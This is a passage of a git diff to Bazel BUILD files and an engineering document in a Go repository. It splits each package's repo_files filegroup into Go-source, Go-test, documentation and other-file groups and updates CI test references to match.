"//internal/linear:repo_files", - "//internal/lockfile:repo_files", - "//internal/memoryapi:repo_files", - "//internal/metrics:repo_files", - "//internal/migration:repo_files", - "//internal/migration/legacysqlite:repo_files", - "//internal/molecules:repo_files", - "//internal/notion:repo_files", - "//internal/procid:repo_files", - "//internal/query:repo_files", - "//internal/recipes:repo_files", - "//internal/remotecache:repo_files", - "//internal/routing:repo_files", - "//internal/storage:repo_files", - "//internal/storage/backendnames:repo_files", - "//internal/storage/backends:repo_files", - "//internal/storage/batchbench:repo_files", - "//internal/storage/batchfixtures:repo_files", - "//internal/storage/contextinfo:repo_files", - "//internal/storage/createbatchequiv:repo_files", - "//internal/storage/dberrors:repo_files", - "//internal/storage/dbproxy/identity:repo_files", - "//internal/storage/dbproxy/pidfile:repo_files", - "//internal/storage/dbproxy/proxy:repo_files", - "//internal/storage/dbproxy/server:repo_files", - "//internal/storage/dbproxy/util:repo_files", - "//internal/storage/depid:repo_files", - "//internal/storage/dolt:repo_files", - "//internal/storage/doltutil:repo_files", - "//internal/storage/domain:repo_files", - "//internal/storage/domain/db:repo_files", - "//internal/storage/domain/fs:repo_files", - "//internal/storage/domain/git:repo_files", - "//internal/storage/embeddeddolt:repo_files", - "//internal/storage/embeddeddolt/cmd:repo_files", - "//internal/storage/externaldeps:repo_files", - "//internal/storage/fs:repo_files", - "//internal/storage/git:repo_files", - "//internal/storage/issueops:repo_files", - "//internal/storage/journalscan:repo_files", - "//internal/storage/kvkeys:repo_files", - "//internal/storage/memoryops:repo_files", - "//internal/storage/rowid:repo_files", - "//internal/storage/schema:repo_files", - "//internal/storage/sqlbuild:repo_files", - "//internal/storage/sqlclass:repo_files", - "//internal/storage/sqlcount:repo_files", - "//internal/storage/storagecontract:repo_files", - "//internal/storage/unsupportedgen:repo_files", - "//internal/storage/uow:repo_files", - "//internal/storage/versioncontrolops:repo_files", - "//internal/telemetry:repo_files", - "//internal/templates:repo_files", - "//internal/templates/agents:repo_files", - "//internal/testutil:repo_files", - "//internal/testutil/bazeltest:repo_files", - "//internal/testutil/credentialcmd:repo_files", - "//internal/testutil/fixtures:repo_files", - "//internal/testutil/integration:repo_files", - "//internal/timeparsing:repo_files", - "//internal/tracker:repo_files", - "//internal/tracker/conformance:repo_files", - "//internal/types:repo_files", - "//internal/ui:repo_files", - "//internal/uimd:repo_files", - "//internal/utils:repo_files", - "//internal/validation:repo_files", - "//internal/versioncheck:repo_files", - "//internal/workapi:repo_files", - "//internal/workapi/storecounter:repo_files", - "//internal/workapi/storequerier:repo_files", - "//internal/workapi/storereader:repo_files", - "//internal/workapi/storereadycounter:repo_files", - "//internal/workapi/storestats:repo_files", - "//internal/workapi/storeversionreconciler:repo_files", - "//internal/workapi/storeworkspaceconfig:repo_files", - "//internal/workspacegate:repo_files", - "//internal/worktreeremove:repo_files", - "//issueops:repo_files", - "//journalops:repo_files", - "//memoryops:repo_files", - "//platforms:repo_files", - "//plugins/beads:repo_files", - "//schema:repo_files", - "//scripts:repo_files", - "//scripts/bench-ready-indexes:repo_files", - "//scripts/check-versions:repo_files", - "//scripts/checkworkflowtags:repo_files", - "//scripts/gitattributespolicy:repo_files", - "//scripts/internal/testbash:repo_files", - "//scripts/migration-test/catalog:repo_files", - "//scripts/pr-lint:repo_files", - "//scripts/prlintmake:repo_files", - "//scripts/repochecks:repo_files", - "//scripts/repro-dolt-hang:repo_files", - "//scripts/repro-dolt-prod-timeouts:repo_files", - "//scripts/workflowtags:repo_files", - "//test/conformance:repo_files", - "//test/docsync:repo_files", - "//test/testmainconvention:repo_files", - "//tests/hook_timeout_backends:repo_files", - "//tests/migration:repo_files", - "//tests/regression:repo_files", - "//tests/upgrade_smoke:repo_files", - "//third_party/cc_toolchain:repo_files", - "//third_party/patches:repo_files", - "//tools/bazel:repo_files", - "//tools/docsmint:repo_files", - "//tools/nogo:repo_files", - "//tools/nogo/analyzers/depguard:repo_files", - "//tools/nogo/analyzers/errcheck:repo_files", - "//tools/nogo/analyzers/forbidigo:repo_files", - "//tools/nogo/analyzers/gosec:repo_files", - "//tools/nogo/analyzers/misspell:repo_files", - "//tools/nogo/analyzers/sloglint:repo_files", - "//tools/nogo/analyzers/unconvert:repo_files", - "//tools/nogo/analyzers/unparam:repo_files", - "//tools/nogo/internal/analyzertest:repo_files", - "//tools/nogo/internal/golangci:repo_files", - "//tools/nogo/internal/position:repo_files", - ], - visibility = [ - "//scripts:__pkg__", - "//scripts/repochecks:__pkg__", - "//test/docsync:__pkg__", + "//backend:repo_other_files", + "//backend/conformance:repo_other_files", + "//beadserrors:repo_other_files", + "//cmd/bd:repo_other_files", + "//cmd/bd/doctor:repo_other_files", + "//cmd/bd/doctor/fix:repo_other_files", + "//cmd/bd/protocol:repo_other_files", + "//cmd/bd/setup:repo_other_files", + "//format:repo_other_files", + "//internal/ado:repo_other_files", + "//internal/atomicfile:repo_other_files", + "//internal/audit:repo_other_files", + "//internal/beads:repo_other_files", + "//internal/ceiling:repo_other_files", + "//internal/compact:repo_other_files", + "//internal/config:repo_other_files", + "//internal/configfile:repo_other_files", + "//internal/creds:repo_other_files", + "//internal/debug:repo_other_files", + "//internal/doltremote:repo_other_files", + "//internal/doltserver:repo_other_files", + "//internal/doltversion:repo_other_files", + "//internal/eventsjournal:repo_other_files", + "//internal/execenv:repo_other_files", + "//internal/fdhygiene:repo_other_files", + "//internal/formula:repo_other_files", + "//internal/formula/cmd/schemagen:repo_other_files", + "//internal/formula/schemagen:repo_other_files", + "//internal/git:repo_other_files", + "//internal/gitenv:repo_other_files", + "//internal/githooksenv:repo_other_files", + "//internal/github:repo_other_files", + "//internal/gitignore:repo_other_files", + "//internal/gitlab:repo_other_files", + "//internal/gittraceenv:repo_other_files", + "//internal/hooks:repo_other_files", + "//internal/httpapi:repo_other_files", + "//internal/httpapi/apigen:repo_other_files", + "//internal/httpapi/spec:repo_other_files", + "//internal/httpapi/wireshape:repo_other_files", + "//internal/httpapi/wireshape/cmd/gendigest:repo_other_files", + "//internal/httpclient:repo_other_files", + "//internal/httpclient/encode:repo_other_files", + "//internal/httpclient/wire:repo_other_files", + "//internal/idgen:repo_other_files", + "//internal/jira:repo_other_files", + "//internal/linear:repo_other_files", + "//internal/lockfile:repo_other_files", + "//internal/memoryapi:repo_other_files", + "//internal/metrics:repo_other_files", + "//internal/migration:repo_other_files", + "//internal/migration/legacysqlite:repo_other_files", + "//internal/molecules:repo_other_files", + "//internal/notion:repo_other_files", + "//internal/procid:repo_other_files", + "//internal/query:repo_other_files", + "//internal/recipes:repo_other_files", + "//internal/remotecache:repo_other_files", + "//internal/routing:repo_other_files", + "//internal/storage:repo_other_files", + "//internal/storage/backendnames:repo_other_files", + "//internal/storage/backends:repo_other_files", + "//internal/storage/batchbench:repo_other_files", + "//internal/storage/batchfixtures:repo_other_files", + "//internal/storage/contextinfo:repo_other_files", + "//internal/storage/createbatchequiv:repo_other_files", + "//internal/storage/dberrors:repo_other_files", + "//internal/storage/dbproxy/identity:repo_other_files", + "//internal/storage/dbproxy/pidfile:repo_other_files", + "//internal/storage/dbproxy/proxy:repo_other_files", + "//internal/storage/dbproxy/server:repo_other_files", + "//internal/storage/dbproxy/util:repo_other_files", + "//internal/storage/depid:repo_other_files", + "//internal/storage/dolt:repo_other_files", + "//internal/storage/doltutil:repo_other_files", + "//internal/storage/domain:repo_other_files", + "//internal/storage/domain/db:repo_other_files", + "//internal/storage/domain/fs:repo_other_files", + "//internal/storage/domain/git:repo_other_files", + "//internal/storage/embeddeddolt:repo_other_files", + "//internal/storage/embeddeddolt/cmd:repo_other_files", + "//internal/storage/externaldeps:repo_other_files", + "//internal/storage/fs:repo_other_files", + "//internal/storage/git:repo_other_files", + "//internal/storage/issueops:repo_other_files", + "//internal/storage/journalscan:repo_other_files", + "//internal/storage/kvkeys:repo_other_files", + "//internal/storage/memoryops:repo_other_files", + "//internal/storage/rowid:repo_other_files", + "//internal/storage/schema:repo_other_files", + "//internal/storage/sqlbuild:repo_other_files", + "//internal/storage/sqlclass:repo_other_files", + "//internal/storage/sqlcount:repo_other_files", + "//internal/storage/storagecontract:repo_other_files", + "//internal/storage/unsupportedgen:repo_other_files", + "//internal/storage/uow:repo_other_files", + "//internal/storage/versioncontrolops:repo_other_files", + "//internal/telemetry:repo_other_files", + "//internal/templates:repo_other_files", + "//internal/templates/agents:repo_other_files", + "//internal/testutil:repo_other_files", + "//internal/testutil/bazeltest:repo_other_files", + "//internal/testutil/credentialcmd:repo_other_files", + "//internal/testutil/fixtures:repo_other_files", + "//internal/testutil/integration:repo_other_files", + "//internal/timeparsing:repo_other_files", + "//internal/tracker:repo_other_files", + "//internal/tracker/conformance:repo_other_files", + "//internal/types:repo_other_files", + "//internal/ui:repo_other_files", + "//internal/uimd:repo_other_files", + "//internal/utils:repo_other_files", + "//internal/validation:repo_other_files", + "//internal/versioncheck:repo_other_files", + "//internal/workapi:repo_other_files", + "//internal/workapi/storecounter:repo_other_files", + "//internal/workapi/storequerier:repo_other_files", + "//internal/workapi/storereader:repo_other_files", + "//internal/workapi/storereadycounter:repo_other_files", + "//internal/workapi/storestats:repo_other_files", + "//internal/workapi/storeversionreconciler:repo_other_files", + "//internal/workapi/storeworkspaceconfig:repo_other_files", + "//internal/workspacegate:repo_other_files", + "//internal/worktreeremove:repo_other_files", + "//issueops:repo_other_files", + "//journalops:repo_other_files", + "//memoryops:repo_other_files", + "//platforms:repo_other_files", + "//plugins/beads:repo_other_files", + "//schema:repo_other_files", + "//scripts:repo_other_files", + "//scripts/bench-ready-indexes:repo_other_files", + "//scripts/check-versions:repo_other_files", + "//scripts/checkworkflowtags:repo_other_files", + "//scripts/gitattributespolicy:repo_other_files", + "//scripts/internal/testbash:repo_other_files", + "//scripts/migration-test/catalog:repo_other_files", + "//scripts/pr-lint:repo_other_files", + "//scripts/prlintmake:repo_other_files", + "//scripts/repochecks:repo_other_files", + "//scripts/repro-dolt-hang:repo_other_files", + "//scripts/repro-dolt-prod-timeouts:repo_other_files", + "//scripts/workflowtags:repo_other_files", + "//test/conformance:repo_other_files", + "//test/docsync:repo_other_files", + "//test/testmainconvention:repo_other_files", + "//tests/hook_timeout_backends:repo_other_files", + "//tests/migration:repo_other_files", + "//tests/regression:repo_other_files", + "//tests/upgrade_smoke:repo_other_files", + "//third_party/cc_toolchain:repo_other_files", + "//third_party/patches:repo_other_files", + "//tools/bazel:repo_other_files", + "//tools/docsmint:repo_other_files", + "//tools/nogo:repo_other_files", + "//tools/nogo/analyzers/depguard:repo_other_files", + "//tools/nogo/analyzers/errcheck:repo_other_files", + "//tools/nogo/analyzers/forbidigo:repo_other_files", + "//tools/nogo/analyzers/gosec:repo_other_files", + "//tools/nogo/analyzers/misspell:repo_other_files", + "//tools/nogo/analyzers/sloglint:repo_other_files", + "//tools/nogo/analyzers/unconvert:repo_other_files", + "//tools/nogo/analyzers/unparam:repo_other_files", + "//tools/nogo/internal/analyzertest:repo_other_files", + "//tools/nogo/internal/golangci:repo_other_files", + "//tools/nogo/internal/position:repo_other_files", ], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/MODULE.bazel b/MODULE.bazel index 4daf1ae58..5fb24db7e 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -289,7 +289,7 @@ dolt_release( version = "2.1.8", ) -# The tracked release formula, for //scripts:scripts_test and the +# The tracked release formula, for //scripts:shell_scripts_test and the # whole-checkout guard //scripts/repochecks:go_install_guidance_test. .beads/ # also holds live bd data and is in .bazelignore, so no main-repo target can # declare the formula; this local repository exposes only .beads/formulas. diff --git a/backend/BUILD.bazel b/backend/BUILD.bazel index efaf0d7b9..912285a3e 100644 --- a/backend/BUILD.bazel +++ b/backend/BUILD.bazel @@ -47,12 +47,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -61,7 +100,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/backend/conformance/BUILD.bazel b/backend/conformance/BUILD.bazel index 3ff778c49..1f9632e79 100644 --- a/backend/conformance/BUILD.bazel +++ b/backend/conformance/BUILD.bazel @@ -115,12 +115,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -129,7 +168,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/beadserrors/BUILD.bazel b/beadserrors/BUILD.bazel index 51c339a62..42563e971 100644 --- a/beadserrors/BUILD.bazel +++ b/beadserrors/BUILD.bazel @@ -23,12 +23,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -37,7 +76,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 5964f512a..f220e60a9 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1611,6 +1611,20 @@ sh_test( tags = ["dolt-server-cmd"], ) +# Source files the docs and agent instructions link to by path, which +# //test/docsync checks resolve. +exports_files( + [ + "capability_registry.go", + "doctor.go", + "init_safety_help.go", + "label.go", + "main.go", + "state.go", + ], + visibility = ["//test/docsync:__pkg__"], +) + # CLI flag registrations pinned by //internal/httpapi spec parity tests. exports_files( [ @@ -1648,12 +1662,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -1662,7 +1715,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/cmd/bd/doctor/BUILD.bazel b/cmd/bd/doctor/BUILD.bazel index cfd8abbdb..2187b5e1f 100644 --- a/cmd/bd/doctor/BUILD.bazel +++ b/cmd/bd/doctor/BUILD.bazel @@ -191,12 +191,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -205,7 +244,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/cmd/bd/doctor/fix/BUILD.bazel b/cmd/bd/doctor/fix/BUILD.bazel index af5e6d02b..fd7245c04 100644 --- a/cmd/bd/doctor/fix/BUILD.bazel +++ b/cmd/bd/doctor/fix/BUILD.bazel @@ -142,12 +142,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -156,7 +195,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/cmd/bd/protocol/BUILD.bazel b/cmd/bd/protocol/BUILD.bazel index 04a4c35b6..76c1694b2 100644 --- a/cmd/bd/protocol/BUILD.bazel +++ b/cmd/bd/protocol/BUILD.bazel @@ -109,12 +109,51 @@ sh_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -123,7 +162,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/cmd/bd/setup/BUILD.bazel b/cmd/bd/setup/BUILD.bazel index c95870119..1ab24afee 100644 --- a/cmd/bd/setup/BUILD.bazel +++ b/cmd/bd/setup/BUILD.bazel @@ -64,12 +64,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -78,7 +117,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index fd3f54f72..09ebaa67f 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -919,11 +919,16 @@ Required` requires them to have run remotely and passed. (`PR Lint (native|windows|darwin)`) jobs are retired. - The repository policy tests (`./scripts/...`, including the D2 guards) and the tests that walk the checkout run only under Bazel, remotely: - `//scripts:scripts_test` and `//test/docsync:docsync_test` take - `//:repo_files` as data, the checkout as Bazel sees it (every tracked - file outside `.bazelignore`, aggregated from the `repo_files` block - `tools/bazel/go_srcs.py` keeps in every package; the BUILD sync step's - `make bazel-sync-check` fails on a package without it). The release + the `//scripts` go_tests and `//test/docsync:docsync_test`, each over + the part of the checkout it reads. `tools/bazel/go_srcs.py` keeps a + `repo_files` block in every package that partitions its files into + `repo_go_srcs`, `repo_go_test_srcs`, `repo_doc_files` and + `repo_other_files`, aggregated at the root; their union `//:repo_files` + is every tracked file outside `.bazelignore`, which only + `//scripts:tracked_files_test` and two repository guards read (the + BUILD sync step's `make bazel-sync-check` fails on a package without + the block). So a Go-only change re-runs no workflow policy test, and a + docs-only or workflow-only change no Go-source scan. The release formula under `.bazelignore`d `.beads/` comes in as `@beads_formulas`. Their former `go test` legs (`Go checks (scripts-test)` and `Go checks (allowlisted)`) are gone. @@ -1176,7 +1181,7 @@ changes. They gate through `BAZEL_TEST`; pinned by | fast-checks: migration hygiene checks A and B | `//scripts/repochecks:migration_hygiene_test` (`MIGRATION_HYGIENE_SCOPE=tree`) | | fast-checks: `make fmt-check` | `//scripts/repochecks:fmt_test` (the registered SDK's gofmt) | | PR Policy: `checkworkflowtags` | `//scripts/repochecks:workflow_tags_test` | -| PR Policy: `check-testing-short.sh` | `//scripts:scripts_test` (`TestCheckTestingShortPassesOnCleanRepoTree`) | +| PR Policy: `check-testing-short.sh` | `//scripts:go_sources_test` (`TestCheckTestingShortPassesOnCleanRepoTree`) | | PR Policy: workapi frontend boundary | `//scripts/repochecks:workapi_frontend_boundary_test` | | PR Policy: `make api-check` drift | `//scripts/repochecks:types_gen_drift_test`; its `go test ./internal/httpapi/...` half is the httpapi targets in the same lane | | PR Policy / check-doc-flags: `check-doc-freshness.sh` | `//scripts/repochecks:doc_freshness_test` | diff --git a/format/BUILD.bazel b/format/BUILD.bazel index 5d295c6c6..920b2d461 100644 --- a/format/BUILD.bazel +++ b/format/BUILD.bazel @@ -21,12 +21,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -35,7 +74,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/ado/BUILD.bazel b/internal/ado/BUILD.bazel index 6f94e9775..f21cd61ed 100644 --- a/internal/ado/BUILD.bazel +++ b/internal/ado/BUILD.bazel @@ -53,12 +53,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -67,7 +106,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/atomicfile/BUILD.bazel b/internal/atomicfile/BUILD.bazel index ed52ef940..ca5c51c3a 100644 --- a/internal/atomicfile/BUILD.bazel +++ b/internal/atomicfile/BUILD.bazel @@ -16,12 +16,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -30,7 +69,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/audit/BUILD.bazel b/internal/audit/BUILD.bazel index 1cd6e6352..c6cc782c5 100644 --- a/internal/audit/BUILD.bazel +++ b/internal/audit/BUILD.bazel @@ -23,12 +23,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -37,7 +76,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/beads/BUILD.bazel b/internal/beads/BUILD.bazel index 27c6349c1..f231d1a90 100644 --- a/internal/beads/BUILD.bazel +++ b/internal/beads/BUILD.bazel @@ -61,12 